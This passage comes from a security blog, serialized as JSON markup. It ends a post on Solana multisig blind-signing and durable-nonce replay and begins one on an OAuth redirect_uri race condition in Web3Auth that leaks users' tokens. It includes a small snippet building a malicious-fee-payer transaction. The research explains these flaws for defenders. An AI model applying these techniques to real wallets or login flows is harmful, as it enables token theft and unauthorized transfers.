Model",{"type":22,"tag":23,"props":72186,"children":72187},{},[72188],{"type":27,"value":72189},"Let's consider a simplified form of the original question.",{"type":22,"tag":6828,"props":72191,"children":72192},{},[72193,72198,72203],{"type":22,"tag":6832,"props":72194,"children":72195},{},[72196],{"type":27,"value":72197},"We have a N/M multisig",{"type":22,"tag":6832,"props":72199,"children":72200},{},[72201],{"type":27,"value":72202},"Signers are unable to see what they're signing, both with respect to content and quantity of signatures. This is roughly equivalent to blind signing transactions.",{"type":22,"tag":6832,"props":72204,"children":72205},{},[72206],{"type":27,"value":72207},"We can accurately query chain state.",{"type":22,"tag":23,"props":72209,"children":72210},{},[72211],{"type":27,"value":72212},"Can we safely sign transactions?",{"type":22,"tag":23,"props":72214,"children":72215},{},[72216],{"type":27,"value":72217},"One observation is that this problem is very hard to solve with durable nonces. By signing durable nonce transactions, an attacker could collect signatures and replay them at some indeterminite future point.",{"type":22,"tag":23,"props":72219,"children":72220},{},[72221,72223,72229,72231,72238],{"type":27,"value":72222},"Durable nonces require an onchain account, and it's possible to use a ",{"type":22,"tag":30,"props":72224,"children":72226},{"className":72225},[],[72227],{"type":27,"value":72228},"getProgramAccounts",{"type":27,"value":72230}," call to validate if your signer ",{"type":22,"tag":80,"props":72232,"children":72235},{"href":72233,"rel":72234},"https://solana.stackexchange.com/questions/9650/is-there-any-way-to-get-nonce-accounts-of-an-authorized-account",[84],[72236],{"type":27,"value":72237},"has an associated durable nonce",{"type":27,"value":231},{"type":22,"tag":91,"props":72240,"children":72242},{"className":39927,"code":72241,"language":39929,"meta":7,"style":7},"const connection = new Connection(clusterApiUrl('testnet'));\nconst nonceAccounts = await connection.getProgramAccounts(\n // The system program owns all nonce accounts.\n SYSTEM_PROGRAM_ADDRESS,\n {\n filters: [\n {\n // Nonce accounts are exactly 80 bytes long\n dataSize: 80,\n },\n {\n // The authority's 32-byte public key is written\n // into bytes 8-40 of the nonce's account data.\n memcmp: {\n bytes: AUTHORITY_PUBLIC_KEY.toBase58(),\n offset: 8,\n },\n },\n ],\n }\n);\n",[72243],{"type":22,"tag":30,"props":72244,"children":72245},{"__ignoreMap":7},[72246,72293,72329,72337,72349,72357,72369,72377,72385,72402,72409,72416,72424,72432,72444,72470,72487,72494,72501,72509,72516],{"type":22,"tag":101,"props":72247,"children":72248},{"class":103,"line":104},[72249,72253,72258,72262,72266,72271,72275,72280,72284,72289],{"type":22,"tag":101,"props":72250,"children":72251},{"style":108},[72252],{"type":27,"value":13660},{"type":22,"tag":101,"props":72254,"children":72255},{"style":126},[72256],{"type":27,"value":72257}," connection",{"type":22,"tag":101,"props":72259,"children":72260},{"style":166},[72261],{"type":27,"value":960},{"type":22,"tag":101,"props":72263,"children":72264},{"style":108},[72265],{"type":27,"value":35929},{"type":22,"tag":101,"props":72267,"children":72268},{"style":926},[72269],{"type":27,"value":72270}," Connection",{"type":22,"tag":101,"props":72272,"children":72273},{"style":120},[72274],{"type":27,"value":980},{"type":22,"tag":101,"props":72276,"children":72277},{"style":926},[72278],{"type":27,"value":72279},"clusterApiUrl",{"type":22,"tag":101,"props":72281,"children":72282},{"style":120},[72283],{"type":27,"value":980},{"type":22,"tag":101,"props":72285,"children":72286},{"style":6476},[72287],{"type":27,"value":72288},"'testnet'",{"type":22,"tag":101,"props":72290,"children":72291},{"style":120},[72292],{"type":27,"value":3950},{"type":22,"tag":101,"props":72294,"children":72295},{"class":103,"line":157},[72296,72300,72305,72309,72313,72317,72321,72325],{"type":22,"tag":101,"props":72297,"children":72298},{"style":108},[72299],{"type":27,"value":13660},{"type":22,"tag":101,"props":72301,"children":72302},{"style":126},[72303],{"type":27,"value":72304}," nonceAccounts",{"type":22,"tag":101,"props":72306,"children":72307},{"style":166},[72308],{"type":27,"value":960},{"type":22,"tag":101,"props":72310,"children":72311},{"style":3595},[72312],{"type":27,"value":40207},{"type":22,"tag":101,"props":72314,"children":72315},{"style":126},[72316],{"type":27,"value":72257},{"type":22,"tag":101,"props":72318,"children":72319},{"style":120},[72320],{"type":27,"value":231},{"type":22,"tag":101,"props":72322,"children":72323},{"style":926},[72324],{"type":27,"value":72228},{"type":22,"tag":101,"props":72326,"children":72327},{"style":120},[72328],{"type":27,"value":1850},{"type":22,"tag":101,"props":72330,"children":72331},{"class":103,"line":182},[72332],{"type":22,"tag":101,"props":72333,"children":72334},{"style":2215},[72335],{"type":27,"value":72336}," // The system program owns all nonce accounts.\n",{"type":22,"tag":101,"props":72338,"children":72339},{"class":103,"line":367},[72340,72345],{"type":22,"tag":101,"props":72341,"children":72342},{"style":126},[72343],{"type":27,"value":72344}," SYSTEM_PROGRAM_ADDRESS",{"type":22,"tag":101,"props":72346,"children":72347},{"style":120},[72348],{"type":27,"value":179},{"type":22,"tag":101,"props":72350,"children":72351},{"class":103,"line":398},[72352],{"type":22,"tag":101,"props":72353,"children":72354},{"style":120},[72355],{"type":27,"value":72356}," {\n",{"type":22,"tag":101,"props":72358,"children":72359},{"class":103,"line":428},[72360,72365],{"type":22,"tag":101,"props":72361,"children":72362},{"style":126},[72363],{"type":27,"value":72364}," filters:",{"type":22,"tag":101,"props":72366,"children":72367},{"style":120},[72368],{"type":27,"value":29619},{"type":22,"tag":101,"props":72370,"children":72371},{"class":103,"line":997},[72372],{"type":22,"tag":101,"props":72373,"children":72374},{"style":120},[72375],{"type":27,"value":72376}," {\n",{"type":22,"tag":101,"props":72378,"children":72379},{"class":103,"line":1032},[72380],{"type":22,"tag":101,"props":72381,"children":72382},{"style":2215},[72383],{"type":27,"value":72384}," // Nonce accounts are exactly 80 bytes long\n",{"type":22,"tag":101,"props":72386,"children":72387},{"class":103,"line":1063},[72388,72393,72398],{"type":22,"tag":101,"props":72389,"children":72390},{"style":126},[72391],{"type":27,"value":72392}," dataSize:",{"type":22,"tag":101,"props":72394,"children":72395},{"style":1544},[72396],{"type":27,"value":72397}," 80",{"type":22,"tag":101,"props":72399,"children":72400},{"style":120},[72401],{"type":27,"value":179},{"type":22,"tag":101,"props":72403,"children":72404},{"class":103,"line":1071},[72405],{"type":22,"tag":101,"props":72406,"children":72407},{"style":120},[72408],{"type":27,"value":41195},{"type":22,"tag":101,"props":72410,"children":72411},{"class":103,"line":1110},[72412],{"type":22,"tag":101,"props":72413,"children":72414},{"style":120},[72415],{"type":27,"value":72376},{"type":22,"tag":101,"props":72417,"children":72418},{"class":103,"line":1118},[72419],{"type":22,"tag":101,"props":72420,"children":72421},{"style":2215},[72422],{"type":27,"value":72423}," // The authority's 32-byte public key is written\n",{"type":22,"tag":101,"props":72425,"children":72426},{"class":103,"line":1158},[72427],{"type":22,"tag":101,"props":72428,"children":72429},{"style":2215},[72430],{"type":27,"value":72431}," // into bytes 8-40 of the nonce's account data.\n",{"type":22,"tag":101,"props":72433,"children":72434},{"class":103,"line":1166},[72435,72440],{"type":22,"tag":101,"props":72436,"children":72437},{"style":126},[72438],{"type":27,"value":72439}," memcmp:",{"type":22,"tag":101,"props":72441,"children":72442},{"style":120},[72443],{"type":27,"value":154},{"type":22,"tag":101,"props":72445,"children":72446},{"class":103,"line":1215},[72447,72452,72457,72461,72466],{"type":22,"tag":101,"props":72448,"children":72449},{"style":126},[72450],{"type":27,"value":72451}," bytes:",{"type":22,"tag":101,"props":72453,"children":72454},{"style":126},[72455],{"type":27,"value":72456}," AUTHORITY_PUBLIC_KEY",{"type":22,"tag":101,"props":72458,"children":72459},{"style":120},[72460],{"type":27,"value":231},{"type":22,"tag":101,"props":72462,"children":72463},{"style":926},[72464],{"type":27,"value":72465},"toBase58",{"type":22,"tag":101,"props":72467,"children":72468},{"style":120},[72469],{"type":27,"value":7526},{"type":22,"tag":101,"props":72471,"children":72472},{"class":103,"line":2425},[72473,72478,72483],{"type":22,"tag":101,"props":72474,"children":72475},{"style":126},[72476],{"type":27,"value":72477}," offset:",{"type":22,"tag":101,"props":72479,"children":72480},{"style":1544},[72481],{"type":27,"value":72482}," 8",{"type":22,"tag":101,"props":72484,"children":72485},{"style":120},[72486],{"type":27,"value":179},{"type":22,"tag":101,"props":72488,"children":72489},{"class":103,"line":5417},[72490],{"type":22,"tag":101,"props":72491,"children":72492},{"style":120},[72493],{"type":27,"value":29371},{"type":22,"tag":101,"props":72495,"children":72496},{"class":103,"line":7714},[72497],{"type":22,"tag":101,"props":72498,"children":72499},{"style":120},[72500],{"type":27,"value":41195},{"type":22,"tag":101,"props":72502,"children":72503},{"class":103,"line":7723},[72504],{"type":22,"tag":101,"props":72505,"children":72506},{"style":120},[72507],{"type":27,"value":72508}," ],\n",{"type":22,"tag":101,"props":72510,"children":72511},{"class":103,"line":7791},[72512],{"type":22,"tag":101,"props":72513,"children":72514},{"style":120},[72515],{"type":27,"value":9908},{"type":22,"tag":101,"props":72517,"children":72518},{"class":103,"line":7799},[72519],{"type":22,"tag":101,"props":72520,"children":72521},{"style":120},[72522],{"type":27,"value":994},{"type":22,"tag":23,"props":72524,"children":72525},{},[72526,72528,72536],{"type":27,"value":72527},"Unfortunately this is not sufficient",{"type":22,"tag":6802,"props":72529,"children":72530},{},[72531],{"type":22,"tag":80,"props":72532,"children":72534},{"href":6807,"ariaDescribedBy":72533,"dataFootnoteRef":7,"id":6810},[6809],[72535],{"type":27,"value":6813},{"type":27,"value":72537},". A transaction may have multiple signers, and an attacker could use their own durable nonce fee-payer. This means our problem as defined above is unfortunately unsolvable.",{"type":22,"tag":91,"props":72539,"children":72541},{"className":93,"code":72540,"language":95,"meta":7,"style":7}," let instruction = system_instruction::transfer(&from, &ledger_base_pubkey, 42);\n let message =\n Message::new_with_nonce(vec![instruction], Some(&evil_nonce_authority), &nonce_account, &evil_nonce_authority)\n .serialize();\n",[72542],{"type":22,"tag":30,"props":72543,"children":72544},{"__ignoreMap":7},[72545,72611,72627,72710],{"type":22,"tag":101,"props":72546,"children":72547},{"class":103,"line":104},[72548,72552,72556,72560,72565,72569,72573,72577,72581,72585,72589,72593,72598,72602,72607],{"type":22,"tag":101,"props":72549,"children":72550},{"style":108},[72551],{"type":27,"value":950},{"type":22,"tag":101,"props":72553,"children":72554},{"style":126},[72555],{"type":27,"value":47366},{"type":22,"tag":101,"props":72557,"children":72558},{"style":166},[72559],{"type":27,"value":960},{"type":22,"tag":101,"props":72561,"children":72562},{"style":120},[72563],{"type":27,"value":72564}," system_instruction",{"type":22,"tag":101,"props":72566,"children":72567},{"style":166},[72568],{"type":27,"value":970},{"type":22,"tag":101,"props":72570,"children":72571},{"style":926},[72572],{"type":27,"value":36119},{"type":22,"tag":101,"props":72574,"children":72575},{"style":120},[72576],{"type":27,"value":980},{"type":22,"tag":101,"props":72578,"children":72579},{"style":166},[72580],{"type":27,"value":985},{"type":22,"tag":101,"props":72582,"children":72583},{"style":126},[72584],{"type":27,"value":23464},{"type":22,"tag":101,"props":72586,"children":72587},{"style":120},[72588],{"type":27,"value":758},{"type":22,"tag":101,"props":72590,"children":72591},{"style":166},[72592],{"type":27,"value":985},{"type":22,"tag":101,"props":72594,"children":72595},{"style":126},[72596],{"type":27,"value":72597},"ledger_base_pubkey",{"type":22,"tag":101,"props":72599,"children":72600},{"style":120},[72601],{"type":27,"value":758},{"type":22,"tag":101,"props":72603,"children":72604},{"style":1544},[72605],{"type":27,"value":72606},"42",{"type":22,"tag":101,"props":72608,"children":72609},{"style":120},[72610],{"type":27,"value":994},{"type":22,"tag":101,"props":72612,"children":72613},{"class":103,"line":157},[72614,72618,72623],{"type":22,"tag":101,"props":72615,"children":72616},{"style":108},[72617],{"type":27,"value":950},{"type":22,"tag":101,"props":72619,"children":72620},{"style":126},[72621],{"type":27,"value":72622}," message",{"type":22,"tag":101,"props":72624,"children":72625},{"style":166},[72626],{"type":27,"value":39852},{"type":22,"tag":101,"props":72628,"children":72629},{"class":103,"line":182},[72630,72635,72639,72644,72648,72652,72656,72660,72664,72668,72672,72676,72681,72685,72689,72694,72698,72702,72706],{"type":22,"tag":101,"props":72631,"children":72632},{"style":114},[72633],{"type":27,"value":72634}," Message",{"type":22,"tag":101,"props":72636,"children":72637},{"style":166},[72638],{"type":27,"value":970},{"type":22,"tag":101,"props":72640,"children":72641},{"style":926},[72642],{"type":27,"value":72643},"new_with_nonce",{"type":22,"tag":101,"props":72645,"children":72646},{"style":120},[72647],{"type":27,"value":980},{"type":22,"tag":101,"props":72649,"children":72650},{"style":926},[72651],{"type":27,"value":7917},{"type":22,"tag":101,"props":72653,"children":72654},{"style":120},[72655],{"type":27,"value":2414},{"type":22,"tag":101,"props":72657,"children":72658},{"style":126},[72659],{"type":27,"value":47675},{"type":22,"tag":101,"props":72661,"children":72662},{"style":120},[72663],{"type":27,"value":27047},{"type":22,"tag":101,"props":72665,"children":72666},{"style":114},[72667],{"type":27,"value":46015},{"type":22,"tag":101,"props":72669,"children":72670},{"style":120},[72671],{"type":27,"value":980},{"type":22,"tag":101,"props":72673,"children":72674},{"style":166},[72675],{"type":27,"value":985},{"type":22,"tag":101,"props":72677,"children":72678},{"style":126},[72679],{"type":27,"value":72680},"evil_nonce_authority",{"type":22,"tag":101,"props":72682,"children":72683},{"style":120},[72684],{"type":27,"value":1099},{"type":22,"tag":101,"props":72686,"children":72687},{"style":166},[72688],{"type":27,"value":985},{"type":22,"tag":101,"props":72690,"children":72691},{"style":126},[72692],{"type":27,"value":72693},"nonce_account",{"type":22,"tag":101,"props":72695,"children":72696},{"style":120},[72697],{"type":27,"value":758},{"type":22,"tag":101,"props":72699,"children":72700},{"style":166},[72701],{"type":27,"value":985},{"type":22,"tag":101,"props":72703,"children":72704},{"style":126},[72705],{"type":27,"value":72680},{"type":22,"tag":101,"props":72707,"children":72708},{"style":120},[72709],{"type":27,"value":2510},{"type":22,"tag":101,"props":72711,"children":72712},{"class":103,"line":367},[72713,72717,72722],{"type":22,"tag":101,"props":72714,"children":72715},{"style":166},[72716],{"type":27,"value":7207},{"type":22,"tag":101,"props":72718,"children":72719},{"style":926},[72720],{"type":27,"value":72721},"serialize",{"type":22,"tag":101,"props":72723,"children":72724},{"style":120},[72725],{"type":27,"value":934},{"type":22,"tag":23,"props":72727,"children":72728},{},[72729,72731,72738],{"type":27,"value":72730},"Luckily, it is tractable with a small modification. What if the signer is allowed to observe the fee-payer on the transaction? For example, Ledger ",{"type":22,"tag":80,"props":72732,"children":72735},{"href":72733,"rel":72734},"https://github.com/LedgerHQ/app-solana/blob/a19da6c301541390bd08731a10f1f128b38ee66e/src/handle_sign_message.c#L97",[84],[72736],{"type":27,"value":72737},"logs the fee-payer here",{"type":27,"value":231},{"type":22,"tag":91,"props":72740,"children":72742},{"className":20513,"code":72741,"language":7187,"meta":7,"style":7},"bool print_config_show_authority(const PrintConfig* print_config, const Pubkey* authority) {\n return print_config->expert_mode || !pubkeys_equal(print_config->signer_pubkey, authority);\n}\n",[72743],{"type":22,"tag":30,"props":72744,"children":72745},{"__ignoreMap":7},[72746,72805,72861],{"type":22,"tag":101,"props":72747,"children":72748},{"class":103,"line":104},[72749,72753,72758,72762,72766,72771,72775,72780,72784,72788,72792,72796,72801],{"type":22,"tag":101,"props":72750,"children":72751},{"style":108},[72752],{"type":27,"value":33682},{"type":22,"tag":101,"props":72754,"children":72755},{"style":926},[72756],{"type":27,"value":72757}," print_config_show_authority",{"type":22,"tag":101,"props":72759,"children":72760},{"style":120},[72761],{"type":27,"value":980},{"type":22,"tag":101,"props":72763,"children":72764},{"style":108},[72765],{"type":27,"value":13660},{"type":22,"tag":101,"props":72767,"children":72768},{"style":120},[72769],{"type":27,"value":72770}," PrintConfig",{"type":22,"tag":101,"props":72772,"children":72773},{"style":166},[72774],{"type":27,"value":8615},{"type":22,"tag":101,"props":72776,"children":72777},{"style":126},[72778],{"type":27,"value":72779}," print_config",{"type":22,"tag":101,"props":72781,"children":72782},{"style":120},[72783],{"type":27,"value":758},{"type":22,"tag":101,"props":72785,"children":72786},{"style":108},[72787],{"type":27,"value":13660},{"type":22,"tag":101,"props":72789,"children":72790},{"style":120},[72791],{"type":27,"value":24844},{"type":22,"tag":101,"props":72793,"children":72794},{"style":166},[72795],{"type":27,"value":8615},{"type":22,"tag":101,"props":72797,"children":72798},{"style":126},[72799],{"type":27,"value":72800}," authority",{"type":22,"tag":101,"props":72802,"children":72803},{"style":120},[72804],{"type":27,"value":1463},{"type":22,"tag":101,"props":72806,"children":72807},{"class":103,"line":157},[72808,72812,72816,72820,72825,72829,72833,72838,72842,72847,72851,72856],{"type":22,"tag":101,"props":72809,"children":72810},{"style":3595},[72811],{"type":27,"value":20986},{"type":22,"tag":101,"props":72813,"children":72814},{"style":126},[72815],{"type":27,"value":72779},{"type":22,"tag":101,"props":72817,"children":72818},{"style":120},[72819],{"type":27,"value":17759},{"type":22,"tag":101,"props":72821,"children":72822},{"style":126},[72823],{"type":27,"value":72824},"expert_mode",{"type":22,"tag":101,"props":72826,"children":72827},{"style":166},[72828],{"type":27,"value":27695},{"type":22,"tag":101,"props":72830,"children":72831},{"style":166},[72832],{"type":27,"value":16868},{"type":22,"tag":101,"props":72834,"children":72835},{"style":926},[72836],{"type":27,"value":72837},"pubkeys_equal",{"type":22,"tag":101,"props":72839,"children":72840},{"style":120},[72841],{"type":27,"value":980},{"type":22,"tag":101,"props":72843,"children":72844},{"style":126},[72845],{"type":27,"value":72846},"print_config",{"type":22,"tag":101,"props":72848,"children":72849},{"style":120},[72850],{"type":27,"value":17759},{"type":22,"tag":101,"props":72852,"children":72853},{"style":126},[72854],{"type":27,"value":72855},"signer_pubkey",{"type":22,"tag":101,"props":72857,"children":72858},{"style":120},[72859],{"type":27,"value":72860},", authority);\n",{"type":22,"tag":101,"props":72862,"children":72863},{"class":103,"line":182},[72864],{"type":22,"tag":101,"props":72865,"children":72866},{"style":120},[72867],{"type":27,"value":188},{"type":22,"tag":23,"props":72869,"children":72870},{},[72871],{"type":27,"value":72872},"Let's say we've determined our signer has no associated nonce accounts. If our pubkey is the fee-payer on the new proposed transaction, we can know for sure that the transaction does not use durable nonces!",{"type":22,"tag":23,"props":72874,"children":72875},{},[72876],{"type":27,"value":72877},"Without durable nonces, the problem becomes much easier to solve. After waiting enough time, there'll be a point where all previously signed transactions will be expired. If we see no unexpected transactions, that means we're safe.",{"type":22,"tag":23,"props":72879,"children":72880},{},[72881],{"type":27,"value":72882},"We can then use the following procedure.",{"type":22,"tag":6828,"props":72884,"children":72885},{},[72886,72891,72896,72901,72906],{"type":22,"tag":6832,"props":72887,"children":72888},{},[72889],{"type":27,"value":72890},"Ensure all signers have no durable nonce accounts.",{"type":22,"tag":6832,"props":72892,"children":72893},{},[72894],{"type":27,"value":72895},"The first signer signs and submits the transaction.",{"type":22,"tag":6832,"props":72897,"children":72898},{},[72899],{"type":27,"value":72900},"Wait two minutes for all recent blockhashes to expire.",{"type":22,"tag":6832,"props":72902,"children":72903},{},[72904],{"type":27,"value":72905},"Observe recent transactions associated with the signer to ensure nothing unexpected is submitted.",{"type":22,"tag":6832,"props":72907,"children":72908},{},[72909],{"type":27,"value":72910},"Repeat steps 2 to 4 for each signer",{"type":22,"tag":53,"props":72912,"children":72914},{"id":72913},"beyond",[72915],{"type":27,"value":72916},"Beyond",{"type":22,"tag":23,"props":72918,"children":72919},{},[72920],{"type":27,"value":72921},"Solana's signature model is unique. What can protocols do if they're deploying on blockchains without these unique properties? The most important constraint is observability. There must be a way you can see what you're signing, either while signing or implicitly after the fact.",{"type":22,"tag":23,"props":72923,"children":72924},{},[72925,72927,72934],{"type":27,"value":72926},"For example, pcaversaccio wrote a tool to ",{"type":22,"tag":80,"props":72928,"children":72931},{"href":72929,"rel":72930},"https://github.com/pcaversaccio/safe-tx-hashes-util",[84],[72932],{"type":27,"value":72933},"validate Safe transaction hashes",{"type":27,"value":72935},". As the space matures, we hope more open source tooling will come to light.",{"type":22,"tag":6815,"props":72937,"children":72939},{"className":72938,"dataFootnotes":7},[6818],[72940,72945],{"type":22,"tag":53,"props":72941,"children":72943},{"className":72942,"id":6809},[6823],[72944],{"type":27,"value":6826},{"type":22,"tag":6828,"props":72946,"children":72947},{},[72948],{"type":22,"tag":6832,"props":72949,"children":72950},{"id":6834},[72951,72953,72961,72963],{"type":27,"value":72952},"The original version of this blog post did not consider a malicious fee-payer. Thanks to ",{"type":22,"tag":80,"props":72954,"children":72958},{"href":72955,"rel":72956,":style":72957},"https://twitter.com/PierreArowana",[84],"color: #B1D0EE; text-decoration: underline;",[72959],{"type":27,"value":72960},"@PierreArowana",{"type":27,"value":72962}," for pointing this out to me. ",{"type":22,"tag":80,"props":72964,"children":72966},{"href":6883,"ariaLabel":6884,"className":72965,"dataFootnoteBackref":7},[6886],[72967],{"type":27,"value":6889},{"type":22,"tag":6891,"props":72969,"children":72970},{},[72971],{"type":27,"value":6895},{"title":7,"searchDepth":157,"depth":157,"links":72973},[72974,72978,72979,72980],{"id":71170,"depth":157,"text":71173,"children":72975},[72976,72977],{"id":71181,"depth":182,"text":71184},{"id":71460,"depth":182,"text":71463},{"id":72181,"depth":157,"text":72184},{"id":72913,"depth":157,"text":72916},{"id":6809,"depth":157,"text":6826},"content:blog:2025-02-22-multisig-security.md","blog/2025-02-22-multisig-security.md","blog/2025-02-22-multisig-security",{"_path":72985,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":72986,"description":72987,"date":72988,"author":72989,"image":72990,"isFeatured":15,"onBlogPage":15,"tags":72992,"body":72993,"_type":6912,"_id":74691,"_source":6914,"_file":74692,"_stem":74693,"_extension":6917},"/blog/2025-03-07-subverting-web2-authentication-in-web3","Subverting Web2 Authentication in Web3","Web3 authentication uses cryptographic signatures and wallets, but Web2 auth integrations can introduce hidden risks. We explore vulnerabilities like OAuth logic exploits, Supabase misconfigurations, and OAuth abuse in localhost setups.","2025-03-07",[35197,35196],{"src":72991},"/posts/web2-in-web3/title.jpg",[36137],{"type":19,"children":72994,"toc":74673},[72995,73000,73005,73010,73036,73042,73047,73053,73074,73080,73085,73092,73105,73135,73141,73185,73192,73198,73231,73252,73260,73279,73286,73291,73297,73302,73307,73332,73337,73343,73349,73370,73376,73403,73431,73438,73443,73448,73793,73797,73819,73825,73846,73860,73873,73878,73894,73899,74628,74633,74638,74643,74655,74659,74664,74669],{"type":22,"tag":23,"props":72996,"children":72997},{},[72998],{"type":27,"value":72999},"Authentication serves as a cornerstone of secure interactions in Web3, enabling access control, user identity verification, and transaction integrity. Unlike traditional Web2 systems, which often rely on centralized databases and password-based mechanisms, Web3 systems adopt decentralized identifiers (DIDs), cryptographic signatures, and wallet-based authentication. However, there are many applications that still use Web2-based authentication providers to improve the user experience.",{"type":22,"tag":23,"props":73001,"children":73002},{},[73003],{"type":27,"value":73004},"In our research, we focused on Web3 applications that rely on Web2-based authentication methods. Specifically, we analyzed the authentication flows of these applications and identified a lesser-known class of vulnerabilities.",{"type":22,"tag":23,"props":73006,"children":73007},{},[73008],{"type":27,"value":73009},"In this article, we will discuss three cases we discovered:",{"type":22,"tag":6828,"props":73011,"children":73012},{},[73013,73018,73031],{"type":22,"tag":6832,"props":73014,"children":73015},{},[73016],{"type":27,"value":73017},"OAuth Logic Vulnerability on an Authentication Provider",{"type":22,"tag":6832,"props":73019,"children":73020},{},[73021,73023,73029],{"type":27,"value":73022},"Supabase ",{"type":22,"tag":30,"props":73024,"children":73026},{"className":73025},[],[73027],{"type":27,"value":73028},"user_metadata",{"type":27,"value":73030}," misconfiguration",{"type":22,"tag":6832,"props":73032,"children":73033},{},[73034],{"type":27,"value":73035},"OAuth abuse in localhost development environment",{"type":22,"tag":53,"props":73037,"children":73039},{"id":73038},"abusing-oauth-authentication-logic",[73040],{"type":27,"value":73041},"Abusing OAuth Authentication Logic",{"type":22,"tag":23,"props":73043,"children":73044},{},[73045],{"type":27,"value":73046},"During our research, we initially identified some bugs in applications. However, these were mostly simple and well-known issues, so we decided to focus on vulnerabilities within authentication providers themselves.",{"type":22,"tag":1760,"props":73048,"children":73050},{"id":73049},"web3auth-introduction",[73051],{"type":27,"value":73052},"Web3Auth Introduction",{"type":22,"tag":23,"props":73054,"children":73055},{},[73056,73063,73065,73072],{"type":22,"tag":80,"props":73057,"children":73060},{"href":73058,"rel":73059},"https://web3auth.io/",[84],[73061],{"type":27,"value":73062},"Web3Auth",{"type":27,"value":73064}," is a tool designed to simplify the login process for Web3 applications, eliminating the need for users to manage complex wallet setups or memorize lengthy passwords. One of its products, Web3Auth PnP (Plug and Play), supports ",{"type":22,"tag":80,"props":73066,"children":73069},{"href":73067,"rel":73068},"https://oauth.net/2/",[84],[73070],{"type":27,"value":73071},"OAuth2",{"type":27,"value":73073}," authentication using Google. The product employs a sophisticated authentication flow and infrastructure to maintain seamless integration with dApps.",{"type":22,"tag":1760,"props":73075,"children":73077},{"id":73076},"web3auth-authentication-flow",[73078],{"type":27,"value":73079},"Web3Auth Authentication flow",{"type":22,"tag":23,"props":73081,"children":73082},{},[73083],{"type":27,"value":73084},"The Web3Auth PnP authentication flow involves a web session server that stores authentication parameters and configurations. Below is a diagram illustrating how the authentication process works:",{"type":22,"tag":23,"props":73086,"children":73087},{},[73088],{"type":22,"tag":7959,"props":73089,"children":73091},{"alt":54574,"src":73090},"/posts/web2-in-web3/auth-flow.png",[],{"type":22,"tag":23,"props":73093,"children":73094},{},[73095,73097,73103],{"type":27,"value":73096},"After the final redirect back to the dApp, the application can use the secret token to authenticate with the service identified by the ",{"type":22,"tag":30,"props":73098,"children":73100},{"className":73099},[],[73101],{"type":27,"value":73102},"client_id",{"type":27,"value":73104},". This design ensures that you cannot use the token to authenticate against any unauthorized application.",{"type":22,"tag":23,"props":73106,"children":73107},{},[73108,73110,73116,73118,73124,73126,73133],{"type":27,"value":73109},"Additionally, it is important to note that each dApp has a whitelist of redirect URLs. The ",{"type":22,"tag":30,"props":73111,"children":73113},{"className":73112},[],[73114],{"type":27,"value":73115},"/start",{"type":27,"value":73117}," validates the ",{"type":22,"tag":30,"props":73119,"children":73121},{"className":73120},[],[73122],{"type":27,"value":73123},"redirect_url",{"type":27,"value":73125}," against the configured ",{"type":22,"tag":80,"props":73127,"children":73130},{"href":73128,"rel":73129},"https://web3auth.io/docs/dashboard-setup/whitelisting",[84],[73131],{"type":27,"value":73132},"whitelist",{"type":27,"value":73134}," to ensure it matches one of the allowed URLs.",{"type":22,"tag":1760,"props":73136,"children":73138},{"id":73137},"in-transit-cryptography",[73139],{"type":27,"value":73140},"In-transit Cryptography",{"type":22,"tag":23,"props":73142,"children":73143},{},[73144,73146,73153,73155,73161,73163,73169,73171,73176,73178,73183],{"type":27,"value":73145},"The session server employs cryptography to securely send and receive authentication parameters. The ",{"type":22,"tag":80,"props":73147,"children":73150},{"href":73148,"rel":73149},"https://en.wikipedia.org/wiki/Key_(cryptography)",[84],[73151],{"type":27,"value":73152},"cryptographic key",{"type":27,"value":73154}," is derived from the ",{"type":22,"tag":30,"props":73156,"children":73158},{"className":73157},[],[73159],{"type":27,"value":73160},"sessionId",{"type":27,"value":73162}," sent in the ",{"type":22,"tag":30,"props":73164,"children":73166},{"className":73165},[],[73167],{"type":27,"value":73168},"GET",{"type":27,"value":73170}," parameter to the ",{"type":22,"tag":30,"props":73172,"children":73174},{"className":73173},[],[73175],{"type":27,"value":73115},{"type":27,"value":73177},". Since the ",{"type":22,"tag":30,"props":73179,"children":73181},{"className":73180},[],[73182],{"type":27,"value":73160},{"type":27,"value":73184}," can be controlled, it allows us to send and receive data from the session server.",{"type":22,"tag":23,"props":73186,"children":73187},{},[73188],{"type":22,"tag":7959,"props":73189,"children":73191},{"alt":54574,"src":73190},"/posts/web2-in-web3/image-2.png",[],{"type":22,"tag":1760,"props":73193,"children":73195},{"id":73194},"race-condition",[73196],{"type":27,"value":73197},"Race Condition",{"type":22,"tag":23,"props":73199,"children":73200},{},[73201,73203,73208,73210,73216,73218,73223,73225,73230],{"type":27,"value":73202},"As shown in the diagram, the configuration data from the session server is validated only during the ",{"type":22,"tag":30,"props":73204,"children":73206},{"className":73205},[],[73207],{"type":27,"value":73115},{"type":27,"value":73209}," and later used in the ",{"type":22,"tag":30,"props":73211,"children":73213},{"className":73212},[],[73214],{"type":27,"value":73215},"/end",{"type":27,"value":73217}," enpoint. This introduces a potential race condition that can be exploited if an attacker manages to modify the parameters after validation (",{"type":22,"tag":30,"props":73219,"children":73221},{"className":73220},[],[73222],{"type":27,"value":73115},{"type":27,"value":73224},") but before use (",{"type":22,"tag":30,"props":73226,"children":73228},{"className":73227},[],[73229],{"type":27,"value":73215},{"type":27,"value":24730},{"type":22,"tag":23,"props":73232,"children":73233},{},[73234,73236,73243,73245,73250],{"type":27,"value":73235},"To exploit this ",{"type":22,"tag":80,"props":73237,"children":73240},{"href":73238,"rel":73239},"https://portswigger.net/web-security/race-conditions",[84],[73241],{"type":27,"value":73242},"race condition",{"type":27,"value":73244},", an attacker-controlled website can initiate the authentication flow normally. Then, it can send another request to the session server with the same ",{"type":22,"tag":30,"props":73246,"children":73248},{"className":73247},[],[73249],{"type":27,"value":73160},{"type":27,"value":73251}," but with modified malicious parameters.",{"type":22,"tag":23,"props":73253,"children":73254},{},[73255],{"type":22,"tag":9370,"props":73256,"children":73257},{},[73258],{"type":27,"value":73259},"What can be modified to achieve something impactful?",{"type":22,"tag":23,"props":73261,"children":73262},{},[73263,73265,73271,73273,73278],{"type":27,"value":73264},"The answer is quite simple if you understand how OAuth works. The attacker can simply change the ",{"type":22,"tag":30,"props":73266,"children":73268},{"className":73267},[],[73269],{"type":27,"value":73270},"redirect_uri",{"type":27,"value":73272}," parameter to point to their own website and leak the secret token from the query string. With the secret token, they can authenticate against the application defined by 